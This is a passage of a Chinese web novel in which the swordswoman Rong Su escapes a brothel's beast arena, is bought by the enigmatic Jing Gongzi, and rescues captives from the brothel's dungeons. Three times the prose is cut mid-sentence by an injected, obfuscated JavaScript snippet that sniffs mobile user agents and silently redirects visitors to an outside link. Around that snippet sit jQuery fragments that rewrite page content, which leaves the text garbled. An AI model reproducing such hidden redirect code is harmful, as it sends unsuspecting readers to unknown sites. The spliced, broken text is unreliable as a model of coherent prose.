出身的是宋管事,他双手叉腰,依旧是一副高高在上的样子。 一行人不情不愿,甚至害怕得想直接跑。 陈婆子和一旁的下人眼疾手快地按住她们,一把将她们推了进去。 宋管事不耐烦地吼道:“都给我老实点,客人马上就到了,再想逃直接扔下去喂豹子!” 此话一出,容素似乎听到楼下传来了豹子低沉的吼声。 宋管事命人将金笼子上锁,随后离开了这里。 容素敲了敲笼柱,声音有点沉闷,莫不是贴着厚铁皮的木笼子? 为等她细想,宋管事离去的方向忽地涌进来一群人,宋管事走在最前头,笑得一脸谄媚,脸上的肉将眼睛挤成一条缝。 只听他高声介绍道:“各位爷,这周新进的女子姿色可不凡呐,还望能入了各位爷的眼!” 金笼外迅速挤满了人,个个神情猥琐,目露色光地打量着金笼里的女子,还伸出有些浮肿的双手往她们身上摸去。 “啊!” 笼子里的女子那里被这样对待过,尖叫这如同惊弓之鸟般躲开,笼外的人看了愈发兴奋,动作越发大胆。 马上便有人指着笼中的女子,将鼓鼓囊囊的银袋随意仍给宋管事,向宋管事要人 。 容素心头一紧,下一秒,一个圆滚滚的锦衣男人就抓住了她的手,朝宋管事喊道:“这个小娘子我要了!” 容素心底不由得泛起一阵恶心,却也只能忍耐着被带出了笼子。 8. 第八章 宋管事笑得合不拢嘴,打开笼子,抓住了容素手上的铁链,容素想着不宜在此处动手,只能忍住冲动任由宋管家将自己扯出来,一把塞到那圆头圆脑的纨绔身边。 一双胖手圈上容素的腰,纨绔堆满肥肉的脸迫不及待地凑到她眼前,色眯眯地说:“小娘子,和爷说说话呀!” 容素满脸嫌弃,却仍忍耐着不动手,长廊四处都站着侍卫杂役,以寡对多,她确实没什么把握。 那纨绔拉着她就要往长廊上的一间屋子里走,见容素不回答,反而一脸嫌恶,笑得更猥琐了,随后居然抬手扯住她的衣领,往下用力一撕。 容素下意识地抬手制止,捏住他的手腕,用力地往后一折。 “啊--”纨绔痛呼出声。 “你个贱人!”那纨绔怒上心头,抬起粗水桶般的脚狠狠往容素身上踢去,容素连连后退,却被脚上的铁链绊了一下。 这边的动静很快吸引了宋管事的注意,他当即招呼廊上的侍卫杂役,命令他们将容素拿下。 容素欲闯进一旁的雅间中,继而跳窗逃跑。然而一连推了好几扇门,却都推不开,身后也已经被侍卫们围住了。 容素虽然手脚有缠着铁链,但好歹动作和招式没忘,三两下便将两个侍卫放倒,从突破了他们的跑位,往前面跑去。 见容素如此棘手,余下的侍卫纷纷拔刀。容素推倒了一旁的灯架,以此来挡住身后众人的脚步。 一片混乱中,有侍卫反向绕过长廊,冲到容素身边,挥起长剑朝容素劈去。 容素顺势抬起双手将铁链拉直,锋利的刀刃劈下,铁链顷刻断裂。 这样一来她的双手就自由多了。 容素用力甩手,铁链一把打向对方的双眼,趁对方捂眼之际,迅速夺下他的刀,将他打到一边,把脚上的铁链也砍断了。旋即又转身与追上来的侍卫撕打。 “赶紧抓住她,别影响我们的生意!”宋管事虽然被这刀光剑影吓得腿软,却还是壮着胆子尽量往前去催促那群侍卫,“要不然直接弄死算了!” 有了宋管事这句话,侍卫的动作也越发凌厉了,被逼得连连后退,好不容易挡住身侧刺过来的剑,一个没注意,腹部被一位飞奔上前的虎背熊腰的侍卫踹中,容素顿觉腹如刀绞,强大的力道冲击着她,她重重的撞上身后的栏杆。 咔嚓一声,栏杆断裂,她整个人往后倒去,跌到宽大的帷帐上,帷帐材质轻薄,只用几处线勾住栏杆来保持挂在楼的中空层,如今一头栏杆断裂,加上容素的重量,帷帐摇晃了几下便失去支撑,带着容素往下坠去。 一阵强烈的痛感袭来,容素重重地摔落,四周嘈杂的惊呼声涌进了她的耳中。 “怎么回事啊?这人是谁啊?” 她抬头一看,透过铁栏,周围是坐满了人的层层看台,莫非这里就是人兽台? 一声愤怒的狼嚎声响起,容素一个激灵,忘记了身上的疼痛,猛地起身循声看去,只见一头有着大半个人高的黑狼张开血盆大口朝她扑来,她来不及害怕,卷起地上巨大的帷帐用力地往黑狼头上罩去,随后用力一拉,帷帐马上收紧。 蒙在头上的帷帐挡住了黑狼的视线,限制了它的行动,它拼命地顶着头,却难以顶破那层帷帐。 台上情况紧张又惊险,台下众人却沸腾了起来。 黑狼后足蓄力,爆发出强大的力量往前撞去,容素不愿硬碰硬,迅速松开抓着帷帐的手,捡起长剑猛地往旁边奔逃,脚下一绊,趔趄了几步,她定睛一看,是一个被撕咬得血肉模糊、一动不动的人,她不由得呼吸一滞,看来这里真的是人兽台了。 黑狼往前扑了个空,撞到了隔绝台上台下的铁栏,铁栏发出了沉闷的响声。 黑狼很快调整过来,充满杀气地眸子在台上巡视,很快便锁定角落的容素,身如闪电冲了过去。 容素握紧手中的剑,她曾自创一招飞雪剑法,出剑如急雪密集,身形如西风迅速。她屏息凝神,将招式在脑海中迅速流转一遍,随后提剑上前,剑影闪动,招招见血。 黑狼被它这招惹得十分烦躁,它抬起前足狠狠地朝容素拍去。 容素趁它暴露了咽喉,加上因受伤动作不再迅猛,一个下腰和滑步闪到黑狼身下,瞅准时机将剑用力刺向黑狼的咽喉。 黑狼痛苦呜咽,伤口处喷出鲜红的血液,溅红了容素大半边脸。 黑狼最终只能不甘心地倒地,慢慢地咽了气。 原本全神贯注的看台爆发出了兴奋的呼声。 容素躺在地上,几乎力竭,眼前止不住地发黑。 “各位看官看得可尽兴?这是我们醉乐楼一次别样的尝试,还望诸位喜欢。”台下一位管事见黑狼已死,斗兽结束,尽管也对容素的突然出现感到疑惑,但还是立马冲到高台边,灵活地想了一个说法,乐呵呵地应付着看台的观众。 看台上的呼声也表达着此次斗兽的精彩。 那位管事朝一旁的侍卫挥了挥手,低声吩咐:“你们进去把黑狼清理走,那女子就带下去关起来,待会我要拷问拷问她!” 侍卫应声。 “等等。” 一道声音幽幽冒出,容素的余光里,似乎能看到一个高大模糊的身影朝她走来。 “景公子!可是有什么吩咐吗?”管事声音又惊又喜,殷勤地迎了上去。 “我要买下她。” * 熹微晨光照散朦朦薄雾,金色的日光渐渐漫过了富丽堂皇的宅院。 容素悠悠转醒,映入眼帘的又是一片陌生的场景。梨花木床垂下的金丝纱帐遮挡了她打量床外的视线,纱帐上挂着的银制熏笼摇摇晃晃,散发出清幽的香气,乍一看,处处洋溢着富贵之气。 容素撑着柔软的锦褥坐起身,掀开了身上的被子,这才发现身上的衣裳早就换了一件,是一件绣着银纹的淡青色的薄衫。 容素掀开床帐起身,抬手理了理凌乱的头发。却不由得手一顿,她前几日一直带着的木簪子不见了,取带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189872|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之的是一只华贵的金簪! 那木簪暗藏玄机,她将不少银票藏在里面,本来是想着将银钱分散存着,以防所有银钱一起丢了,她还特地选了木簪,就是因为木簪不容易引起抢劫之人的注意,却没想到还是丢了! “你在找它吗。” 容素抬头看去,透过半卷着的纱帘,隐隐约约可以看到对面室中的长案前,有一位男子慵懒地斜倚在椅子上,修长的手指上执着熟悉的木簪,深潭般的眸子好整以暇地看着她。 容素心中发紧,她快步穿过屋子走到了对面,隔着一段距离,渐渐看清了他的相貌,姿容俊美,却带着不容忽视的森冷气质。 容素想起了自己昏迷前,听到了一位被称为“景公子”的从醉乐楼救下了自己,怕不就是眼前这位,遂打算先以礼待人,她微微躬身,礼貌开口:“在下能安然无恙醒来,想必是托了公子的福,在下感激不尽,实不相瞒,公子手中的木簪里藏有不少银票,为表感谢,公子可拿些走,只是在下一介弱女子,在外还需要些银子傍身,还望公子留几张银票还给在下。” “区区这点银钱,怎入得了我的眼,还给你罢。”景公子轻嗤一身,将木簪扔给她。 容素轻松接住,还以为多少要费些口舌,不曾想居然如此轻松。 “你身手可真不错。”景公子看她游刃有余地接住木簪,幽幽地开口。 容素故作糊涂:“多谢公子夸奖。” “别站着了,坐吧。”景公子指了指长案旁边的绫罗竹席,示意她坐下。 恭敬不如从命,容素小心翼翼地走过去,跪坐在席上。 “你看着是习武之人,女子习武······可不常见,你是什么人?”景公子微微眯眼,目带审视。 容素轻笑:“在下孟素,常年跟着哥哥行商,商队走南闯北,难免遇到强盗,为了来帮忙击退盗贼,渐渐地也就学了些武功。” 景公子明显不信她这番说辞:“可你在人兽台上使出的招式十分高明与独特,可不像学了些武功就能学到的,倒像是······某些独创剑法。”他目光幽深,步步紧逼。 容素此刻对眼前之人也起了探究之意,那套飞雪剑法见过人不多,璇玑阁中都能认出来的人怕是一个手指头都数得过来,而她出任务时,能让她使出飞雪剑法的人,最后几乎都死在了她的剑下,这个人又是怎么知道的? 况且眼前这个人怎么看怎么陌生,她敢断定从未同他交过手······ “公子认识那套剑法?” 景公子冷冷一笑:“曾经有一人,使出这套剑法,折损我大半暗卫,将我折磨重伤,我从那人手下侥幸逃命时,便下定决心,终有一天,我要将那人踩在脚下,千刀万剐。”他一脸阴森地盯着容素。 这话听得容素想给他一耳光,污蔑之语可真的是信手拈来,想着这是在人家地盘,便按捺住冲动:“那公子可记得那人的容貌?公子若想找出那个人,在下或许可以为公子提供一些线索。” 9. 第九章 “你既然能够使出这套剑法,要么你是她的亲近之人,要么······”景公子幽幽说道,“你就是她!” 容素懒得跟他拉锯下去,于是顺着他的意思编了个谎:“在下本不愿透露太多,不过既然公子有恩于我,那我也应有所报答。这招剑法,名唤飞雪剑法,六年前在下跟着商队行商,路遇强盗,是一女侠将我们救下,恰巧女侠与我们顺路同去一个地方,于是我们便同行了数月。期间我总缠着女侠教我功夫,女侠仁义心肠,遂将这招剑法尽数传授于我,若硬要说的话,她也算我半个师父。” 景公子面色变得深沉起来,却依旧让人捉摸不透他的想法,他垂下眸子,似是没得到满意的回答,久久地沉默着。 “公子的恩情在下无以为报,奈何在下还有要事在身,需尽早去办,若公子没有其他问题的话,在下想先行离去······” 景公子拧眉,不悦地开口:“谁准许你走了?我从醉乐楼买下了你,你就是我的下人了,我可不管你有什么要事在身,反正你得给我留在这里,就当替你师父赎罪。” 真是张嘴就来,容素试图讲讲理:“敢问公子花了多少银子将我从醉乐楼里带出?在下会尽量将这些银子补上,还望公子成全······” 景公子凤眼阴郁,他转头朝门口处喊道:“凌风,听雪,你们进来!” 容素抬头看去,一男一女恭恭敬敬地走了进来,男子身着黑色劲装,腰佩长剑,女子一袭青裳,娴静沉着。 “公子有何吩咐?” “以后让她来我屋里侍候,听雪你多多管教她,凌风你多看着她,可别让她踏出宅子半步。”说着,睨了容素一眼。 “是。” “你······” 未等容素开口说话,听雪和凌风很有眼力劲地将她从席子上拉了起来,听雪笑眯眯地说:“公子,我们先带她下去了,我会好好教她规矩的。” 将容素拉出正房屋子后,凌风继续在屋外侍立,听雪则挽着她拐入长廊,不知要往哪里去。 “这位姐姐,你要带我去哪?” “公子带你回来是就给你安排了间屋子,就在旁边,马上就到了。” 容素又问:“既然要我去服侍公子,那总得告诉我关于公子的事吧?” 听雪笑了笑:“我们公子其实也只是岭州一介平平无奇的商人罢了,前几年做生意赚得不少,在泰城买了这座大宅子,平时也就处理一些生意上的事。公子虽然看着冰冷,但是对下人还是不错的,你去服侍也不会很辛苦的。” 容素有些鄙夷:“醉乐楼的管事见了你家公子都得低声下气的,不见得只是一位平平无奇的商人吧?” 听雪干笑几声,有些尴尬地沉默了。 容素继续追问:“敢问你家公子尊姓大名?” “公子单名一个‘景’字,至于姓······”听雪支支吾吾,随后似乎想起了什么,“公子是与家人生了嫌隙,一怒之下远走岭州,公子说他从此以后舍弃本姓,只唤名。” 这话似乎没什么不合理的地方,可容素却觉得哪里不对劲。 * 听雪将容素领到正房西侧的耳房,房内十分整洁,一应俱全。 “这是你的房间,我就住在隔壁,若有不懂的随时来找我。你初来乍到,明日再去公子屋里伺候。” 听雪还告知了一些景公子的日常习惯以及伺候时的禁忌。容素听得心不在焉,此处是绝不能久留的,她还得去醉乐楼一趟,还要去找孟亭,这一件件的,可耽误不得。 * 次日清晨,听雪赶着容素,一起去了景公子屋里。 景公子家财万贯,下人众多,因而服侍他盥洗穿衣的向来有特定的丫鬟,容素只是进去打了个照面后便在屋子里寻了个角落待着。 景公子梳洗完毕后就在案前看起了书,还将其他人屏退,独留容素在屋内。 “过来上茶。” 容素像模像样地沏了盏茶,端到了长案上。 “公子,小的有个不情之请。” “既然知道是不情之请,还敢开口?”景公子眼皮都没抬。 容素:“······” “也罢。”他放下了手中的书,抬眼看她,“你说说看吧。” “可否让小的出宅子一趟?” 景公子鄙夷:“你才来了一天就迫不及待想逃了?这么忍不住?” 容素无奈:“不瞒公子,小的是与一位好友一同被拐入醉乐楼的,小的幸得公子相救,但好友却还在醉乐楼,生死难料。小的不愿他受苦,希望能将他救出来。” “醉乐楼岂是你想进就进的?” 容素讨好地笑道:“所以想请公子略施援手,为我行些便利。” 景公子淡淡地瞥了她一眼:“你好友的生死与我无关,我可不喜欢多管闲事。”他浅啜了口茶,“你既是我的下人,就别一心想着别的事。你若闲得慌,就把屋子四处擦擦。” 他的拒绝倒是意料之中,容素也就只是探探口风,看来要出去还是得硬闯了。 容素去下房拿了铜盆和锦帕,端进房里开始擦拭。 房中甚是宽敞,陈设众多,光是擦拭就十分费劲。 “啪嗒。” 容素擦拭角落的一个小书架时,有什么东西掉到了地上。 她弯下腰将东西捡起,翻过来一看,原来是一个信函,上面写着五个端正有力的字“尉迟景亲启”。 尉迟景?容素若有所思,莫非是景公子的姓名?尉迟这个姓,似乎有点熟悉。 * “你要去哪?” 深夜,容素刚从景公子屋里出来,想着去探探出宅子的路,刚拐进一条甬路,声后就冷不丁想起景公子的声音。 容素从容转身,解释道:“有些睡不着,想着出来走走。” “是吗。”景公子森森地看了她一眼。 “我想学飞雪剑法。”他淡淡开口。 容素拒绝:“公子可莫要为难小的,这剑法是他人的独家功夫,我怎能自作主张传授给你呢?” 景公子:“那既然如此,你就永远也别想出去了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189873|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我教!” 容素赶紧答应下来:“小的想这两天去醉乐楼救人,还望公子放行呐!” “那是自然。” 两人寻了处阔地,折树枝为剑。 “所谓飞雪剑法,即出剑如急雪,形动如西风,凝力于腕,转手直入,而足如踏波······” 容素以枝为剑,出手变幻无穷,步法轻盈又奥妙,恍惚间,她似乎回到了桐山之巅,在那个终年飞雪的地方,执剑扫风雪。 “容素。” “嗯?”她停下动作,转头望去。 景公子嘴角微动,一脸“果然如此”的表情,素来如深潭般平静的眸子泛起了波澜。 容素呼吸一滞,脑海中似有惊雷乍响,淡定的神色也出现了裂痕。 “果然是你!你就是容素!十年前镇守北疆的容将军的女儿!”景公子的语气带着难得得意与激动。 容素眉头紧锁,她一脸防备地盯着他:“你到底是谁?” 景公子冷笑:“你可真是贵人多忘事。你可还记得六年前,浔州金河村?” 尘封的记忆在脑海中苏醒,一些往事逐渐拼凑起来。 六年前,容素护送一位贵客回浔州,回去路上撞见山贼在劫掠一行富贵人家的车队,她当时出手相助了。只是没想到她在寻个村子歇脚时,转头就看到那行车队在抓村民去充当仆役,以弥补被山贼造成的随从的损失。容素哪里能忍受这种恶霸行为,当即便将车队的护卫通通打倒,还坑了车队的大半金银珠宝送给村民。 当时车队里最华丽的马车上的人并未露面,容素带着面纱,隔着厚厚的车帘,看不清里面情形。 仔细想来,当时自己确实施展了飞雪剑法,那马车里的人,想必就是景公子了。 “原来是你……”容素重新端详他,问,“你又是如何得知我的姓名的?” “你当时掉落了一块玉牌。”景公子不紧不慢地从袖中伸出,掌心处,赫然躺着一块无暇白玉,玉上刻着“容素”二字,在月光照射下,似有光彩在流动。 容素怔住,下意识抬手要抢过来。 景公子一把将手收回,理直气壮地说:“既是我捡到的,自然就是我的了。” 容素收回手,倒是一脸无所谓:“无妨。” 这玉牌其实是萧启送给她的,当时发现丢失了,她还难过了好一阵。而如今萧启对她赶尽杀绝,她也万万没有将这玉牌拿回的念头,只怕是将其销毁还来不及。 “我派人去查你,可真没想到,你竟是将军遗孤。” 容素眼中闪过警告:“若你不能将这些秘密咽进肚子里,那我可就不会让你活着了。” “大可放心,毕竟你好歹算我的救命恩人,帮忙保守秘密我还是能做到的。” 容素白了他一眼:“拿救命恩人当下人使唤,你就是这么对你的救命恩人的?” 景公子施施然道:“那你可别忘了你当年拿走了本公子多少金银珠宝!车上大半钱财都被你拿走了,你倒好,全拿去救济村民,上赶着当好人。我差点连做生意的本钱都拿不出来!” 10. 第十章 “罢了,不想同你辩驳下去,我且摊开来说,我是一定要去醉乐楼救人的,你放不放我离开?”容素正色问。 虽然她与徐遥之不过是萍水相逢,她若不去救他也无可厚非。徐遥之身上背负着灭门仇恨,她感同身受,于她们而言,死亡不可怕,大仇未报却死亡才是最不甘的。大抵是这个原因,她才下定决心要将他救出。 “从醉乐楼里捞个人不过我一句话的事,又何需你亲自去?” 容素一时无话,脑中不由得想起地牢里那些惊恐无助的女子,她虽嘴上说着要去救徐遥之,可心底却始终有着救出地牢里其他人的冲动。 “我有我的打算。”容素顿了顿,“还望公子成全。” “你倒是喜欢上赶着去犯险。”他浓眉一挑,“既然如此,明晚你跟着我一起前去醉乐楼,届时你狐假虎威,在醉乐楼里也能来去自由,寻个时机把你好友救出来,不过······”他话锋一转,“你休想借机遁逃!” * 隔日,听雪早早地来了容素屋内,不过并没有让她去景公子屋内侍候。 她笑眯眯地拉住容素:“姑娘,原来你是六年前在浔州救了我们公子的那位女侠!当年我也跟在公子身边,姑娘英姿飒爽,可是惊艳了我好久呢!” 容素礼貌地笑了笑,问:“你们当年为何会经过浔州?你们是从北方一路南下的吗?公子的家乡可是在北边?” 听雪愣了愣,眼神闪躲:“太久了,我也记不清了······” “对了,公子唤你过去呢,说是有要事相告。”听雪说着,拉着容素往外走去。 容素问:“你可知是何事?” 听雪想了想,说;“许是与今晚去醉乐楼有关的事情。” 一进屋,景公子便让容素坐到案边锦席上。 “公子可是有什么事?” 景公子抬手,将长案上放着的一份折起来的图纸推倒容素前面,示意她打开看看。 容素会意,将图纸展开,一副建筑图样呈现在眼前,容素看了一会,后知后觉:“是醉乐楼的布局图? 景公子点头:“你拿去好好记一记,别到时候救人不成反倒二进地牢。” 这话听得容素在心里默默地翻了个白眼,不过表面上依旧笑意盈盈:“那就多谢公子了!” 景公子长指往图上一指:“我把马车停在这个小角门,你记得走这个门。” 容素看去,那是在西楼后院的一个小门,平日一般只有下人会出入。 “那就麻烦公子了。” 布局图详细绘制了醉乐楼的院落、房间和功能区等的位置,还有对应的标注。 容素发现,醉乐楼有两个地牢,分别建在两个的院子的柴房下,一个是西北角院,一个在东北角院,容素推测自己当时自己是被关在了西北角院的地牢,那里应该关着的是女子,东北角院关着的应该就是男子,徐遥之应该就是被关在此处。好在两个小院中间有一条直通的甬道,如果她先去西北院的地牢将那些被困的女子救出,再去东北院救徐遥之,应该能在一炷香的时间内完成。 醉乐楼后院杂役和侍卫众多,她孤身一人,不宜与他们正面起冲突,若能将他们支走,大家逃出去的机会就会大大增加。 她将目光投到了内院的库房,库房一般存放着不少贵重物件,诸如名贵器皿、珍贵食材和金银珠宝,若是在此处起一把火,管事们定会尽可能调动更多的下人前来救火,而有一部分护卫则会被调去东西楼,暗中守着客人,以免让其踏入失火之地。 西北和东北两个小院都不设有水井,水池设在后院南部,到时候下人救火定不会在小院走动。 待她去西北院的地牢将被困的女子放出后,让她们往西北院的北部一条小路直走到一个角门,而她再在地牢上方的柴房起一把火,火势蔓延,很快就会挡住其他院的下人进入西北院的路,为她们离开增加一些时间。 * 夜色沉沉,醉乐楼中灯火长明,歌舞盈楼,满楼金翠。而醉乐楼的后院却是一片昏暗,依稀可见几点微光,各司其职的下人们都有无精打采,沉闷的后院与狂欢的醉乐楼,仿佛是两个世界。 就当众人沉醉在这富贵乡中时,幽暗的内院悄然绽开一点火星子,不过片刻,火光冲破黑暗,将小小的库房吞噬。 “啊!起火了!”一道尖叫唤醒沉寂的后院,几位下人慌忙开始灭火。 管事的姗姗来迟,见火势太大,又在迅速蔓延,急忙拉住一旁提着水桶的杂役:“快去,把所有人叫过来灭火!可不能让库房里面的东西有任何伤失!” 后院一下子就闹哄哄的,众多下人慌慌张张地提着木桶,从库房的四面八方涌来。 一旁那高高的屋檐上,容素猫着腰,观察着底下的情形,一袭黑衣几乎要与夜色融为一体。 她将手上的迷药和硫磺一一收好,警惕地看了看四周,随后身形一动,往西北角的方向奔去。 * 她在西北角院的院墙上停下,这里已经撤去不少守卫,但柴房门口依旧留着两个带刀护卫在守着。 容素并未将他们放在眼里,她从侧边袭击,抽出腰间软件,一拉一刺,便将两人解决了。 她走进柴房,砍断了地牢门的锁链,将门打开走了进去。 看守的两位牢头正打着瞌睡,丝毫没发现她的闯入。容素毫不客气地将两人敲晕,接着便往牢里走去。 牢中的人见了她,还以为是来将他们抓去接客的,都瑟缩到墙角,惊恐地看着她。 容素将囚屋的锁头一一敲碎,在众人惊疑不定的神色中,朗声开口:“诸位,方才库房起了火,许多下人都去救火了,你们可以赶紧逃出去,记住出了柴房往后走,有一条东向小路,一直走,有一个小门,你们可以从那里离开!”容素去库房放火前就先摸去了那个小门,把看门的两个守卫解决了。 “姑娘,你是来救我们的?”有人不可置信地开口问。 容素面色凝重:“时间紧迫,各位姑娘赶紧逃吧!” 闻言,众人也不再犹豫,一窝蜂地挤出囚屋,往外跑去。 片刻后,地牢空了许多,容素扫了一眼,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189874|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几件囚屋里还横七竖八地躺着不少伤痕累累的女子,看样子已近油尽灯枯,容素神色复杂,心中不由得一阵抽痛。 她来不及伤感,迅速跑出了地牢,拿出火折子,一把扔到一旁的柴堆上。 下一瞬,火舌窜起,向这间小小的柴房张开了火口。 容素凭借着记忆走上一条甬道,直直往东边快步走去。 一路上遇到了几个下人,好在他们行色匆匆,并没有注意到她,很快便走到了东北角院。 这里依旧只有两个护卫看守,容素轻车熟路地将他们解决掉。 打开地牢门进去时,暗处却突然冲出三个人影,手持长刀,朝容素猛地砍去。 由于方才营救得过于顺利,这让容素不免松懈,一个躲闪不及,小臂上挨了一刀。 “你是何人?胆敢擅闯地牢!活腻了不成。” 容素不语,甩出手中长剑,与三人缠斗起来。 她寻空闪身,一把拽出腰间的迷药,朝三人脸上撒去。 其中两人来不及躲闪,被迷药蒙了眼睛,连连惨叫,丢下长剑抹着眼睛,因吸入了迷药动作逐渐沉了起来。 “该死!”身下一人横眉竖眼,抬起长刀便又向容素击去。 容素握剑应战,一时间纠缠不下。 突然,她的身后响起拿剑声,容素警觉,刚想抽身护住背后,对面那人看出她的意图,用力地握剑紧紧地压住她,容素一只手使不上力,一时间竟动弹不得。 身后剑风逼近,就在她欲咬牙使力时,“哐当”一声,长刀掉地。 对面那人朝她身后看去,大惊失色。容素趁其不注意,抬脚狠狠踹往他身下踹去,下腰挥剑划破了那人的喉咙。 她转身朝身后看去,一人昏倒在地,一人趴在地上,背上插着一把粗木,身下淌血。 视线后移,正后方的一间囚屋,一位蓬头垢面的少年趴着囚栏,一只手伸出牢外。 “多谢。”容素猜到了是他帮的忙, “姑娘可否帮帮忙,将我们发出去?就算被抓回来,我也不会出卖姑娘。”少年殷切乞求。 其他囚屋的人听了,也纷纷涌到门前:“姑娘,救救我们吧!” 容素点头:“出了地牢后,往后走可以看到一个门,你们从那里出去。” 容素依次劈开门锁,一边搜寻着徐遥之的身影。 待其他人逃离后,她又重新找了一遍,终于在一个破败的囚屋里找到了他。 两人不过分别两三日,徐遥之却大变了样。他身形消瘦如枯木,躺在潮湿的地上一动不动,容素走到他身边蹲下,用力地摇着他:“醒醒!徐兄,醒醒!” 徐遥之一动不动,他身上血迹斑斑,遍布触目惊心的抓痕。 看样子是被送上过人兽台了。容素心下一惊,身手按上他的脖颈,好在能感受到虚弱的跳动,她这才松了口气。 她不想浪费时间,当即拽起徐遥之,抓着她的双臂往自己肩膀上搭,随后用力起身,趔趄了几下才站稳。 她咬了咬牙,扛起徐遥之就往出口走去。 11. 第十一章 “孟······姑娘?” 刚翻出地牢,背上传来一个虚弱的声音。 容素停下脚步,微微偏头:“徐兄你醒了?你还好吗?” 徐遥之有气无力地回答:“我还能撑住,没想到姑娘真的来救我了。” 当初他见容素有勇有谋,只觉十分可靠,便想着开口寻求帮助,抓住最后一点机会。不过这两天他也没存什么希望,他想着容素就算能逃出去,也不会冒险来救他。 想到这里,他的眼眶不由得泛红。 “你坚持住。”容素说着,继续往外走去。 她出了柴房,往后走拐进事先熟知的小径,吃力地往前赶去。 路旁是高高的素墙,栽着稀疏的小树,一片幽暗,只有几点月光漏下。 容素旧伤未愈又添新伤,肩上又扛着人,刚走出一段路,就已经满头大汗了。 她重重地呼了口气,正欲放慢脚步,却隐隐约约听见叫喊声: “他们肯定还没逃远,赶紧的,给我四处找找。” 容素暗道不好,只好继续加快脚步,肩膀越来越沉重。 “姑娘你自己走吧······我不想连累你。”徐遥之努力睁开眼,虚弱地开口。 “这样的话那我今晚岂不是白忙活了!”容素恨恨开口,气喘吁吁。 “那这样吧,姑娘你把我放下来,扶着我,我们一起跑出去,若你背着我跑,恐怕我们都会被抓到。”徐遥之咬了咬舌头,疼痛感袭来,他强撑着打起了精神。 “你可以吗?”容素犹豫,现在她体力不支,背着徐遥之确实速度不快。 “放心吧。” 容素停下脚步,将他从背上放了下来。 徐遥之的双脚上是大大小小的血痕,止不住地发软,整个人摇摇晃晃,容素赶紧扶住他。 两人不敢犹豫,赶忙向前快步走去。 尽管两人已经用尽全力,身后却传来越来越响的脚步声。 “你们往哪跑!” 五个护卫刚刚挨了管事的骂,正心有怒意,此刻终于找到逃走的两人,于是卯足了劲追上去,定要将两人拿下。 容素察觉与来人的距离越拉越近,便知靠两人的速度是甩不掉他们的,免不了还得缠斗一番。 她把徐遥之放到草丛旁,起身抽出软剑,与追上来的五个护卫打了起来。 那五个护卫显然不想全在她这里侯着,其中一个趁机窜到徐遥之旁边,挥剑向他刺去。 好在徐遥之拼尽全力往远处滚去,躲过了几刀,但明显体力不支,他试图起身躲剑,而护卫狠狠出刀,划伤了他的大腿,顿时鲜血淋漓,他吃痛跌坐在地,护卫并没有补刀,而是拿出绳子想把他绑回地牢。 容素这边的形势也岌岌可危,四个护卫将她包围,她显得十分吃力,又见徐遥之被抓,当下不由得分了神,腹部挨了一刀。 她捂着伤口,温热的血液顺着她的手滴下。 容素从守到退,动作也愈发地沉。 千钧一发之际,一道黑影冲进来,剑光闪过,劈开了刺向容素的剑。 那人紧接着抬起右手往前方扫去,几发暗箭从他手中射出,噗噗几声,精准刺中了对面四人。 “凌风?”容素看清了来人,又惊又喜。 “姑娘快走!” 身后传来了听雪的声音,容素转身,只见听雪手执短匕,将剩下的一位护卫解决,随后拉起昏迷的徐遥之。 容素应声,向凌风道了声谢,旋即跑过去帮忙扶着徐遥之,一起往小角门的方向奔去。 凌风扫了那些倒地的护卫,见他们没法起身追过来,便也放下心,跟在他们身后离去。 * 角门外是一条小巷,一驾朱漆马车静静地停在一旁,车顶的锦绣蓬盖垂下的金色流苏在月色下隐隐泛着暗光。 “姑娘,那是公子的马车,上去吧!”听雪开口。 容素点头。 掀开车帘,檀香沁鼻,车内宽敞明亮,铺着薄薄的锦席,车厢最里处,赫然是景公子。 “见过公子。” 容素与听雪扶着徐遥之进了马车,凌风则在前舆驾马,马蹄声起,马车渐渐没入昏暗的巷子。 听雪将徐遥之放下后,便找了个望风的借口离开了车厢。 景公子放下手中的书卷,端详着容素,见她身上染血,挖苦道:“不是说自己一个人可以吗?你看看你这都挨了多少刀了,人还是要有些自知之明为好。” 容素不以为意,反笑道:“不管怎么说,还是要多谢公子仗义相帮,借我布局图,还派了听雪和凌风前来相救,若没有他们及时出现,恐怕我又要落入醉乐楼那群人的手中了,容素感激不尽。” 景公子:“你是我的人,哪有放任别人抓去的道理。” 说着,他目光扫向了徐遥之,见他双目紧闭,伤痕累累,一脸狼狈,不由得面带嫌弃:“这位就是你要救的人?怎么是个男的?” 容素信手拈来:“这位是常年与我一起行商的徐兄,我们情同手足,此番不幸落入醉乐楼手中,纵然危险万分,我也不能丢下他不管。” 